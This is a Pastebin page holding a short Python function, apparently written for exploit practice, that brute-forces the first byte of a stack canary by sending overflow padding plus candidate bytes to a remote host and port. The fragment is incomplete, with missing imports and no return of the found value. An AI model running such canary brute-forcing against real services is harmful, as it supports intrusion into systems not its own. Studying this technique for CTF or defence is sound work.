Ledger Nano X - The secure hardware wallet
SHARE
TWEET

Untitled

a guest Mar 31st, 2020 84 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. # bruteforce canary values
  2. def brute_force_canary(host, port, overflow_len):
  3.     junk = "A" * (overflow_len - 1)
  4.     buffer = junk
  5.     for b in range(0, 256):
  6.         test_byte = struct.pack("B", b)
  7.         test_buf = junk + test_byte
  8.         print(test_buf)
  9.         # open process and test buffer
  10.         p = remote(host, port)
  11.         p.recvline(timeout=1)
  12.         try:
  13.             p.send(test_buf)
  14.             rec = p.recvline(timeout=1)
  15.             print("Canary #{0}: {1}".format(1, b))
  16.         except EOFError:
  17.             print("Tested: {0}".format(b))
  18.             continue
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
Top